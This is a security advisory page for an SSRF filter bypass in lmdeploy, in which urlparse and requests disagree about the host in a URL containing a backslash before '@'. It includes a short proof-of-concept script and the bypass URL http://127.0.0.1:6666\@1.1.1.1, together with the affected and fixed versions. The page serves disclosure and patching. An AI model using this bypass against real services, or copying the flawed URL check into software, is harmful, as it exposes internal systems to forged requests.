GHSA-39wr-7q6h-cf68High· 7.5▾ TwilightLMDeploy has an SSRF bypass
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request.
<img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)requests treats \ as a path character, connecting to 127.0.0.1 (internal)Below is a test code I wrote following the code.
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" />
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.
http://127.0.0.1:6666\@1.1.1.1
SSRF
lmdeploy >= 0.12.3, < 0.15.0Upgrade to a patched release:
lmdeploy 0.15.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-33626High· 7.5LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
CVE-2025-66455Critical· 9.8LMDeploy is a toolkit for compressing, deploying, and serving large language models
CVE-2026-33625High· 8.8LMDeploy is a toolkit for compressing, deploying, and serving large language models
CVE-2025-59953Critical· 9.8LMDeploy is a toolkit for compressing, deploying, and serving large language models
CVE-2026-46432High· 7.8LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization
CVE-2026-46517High· 7.8lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out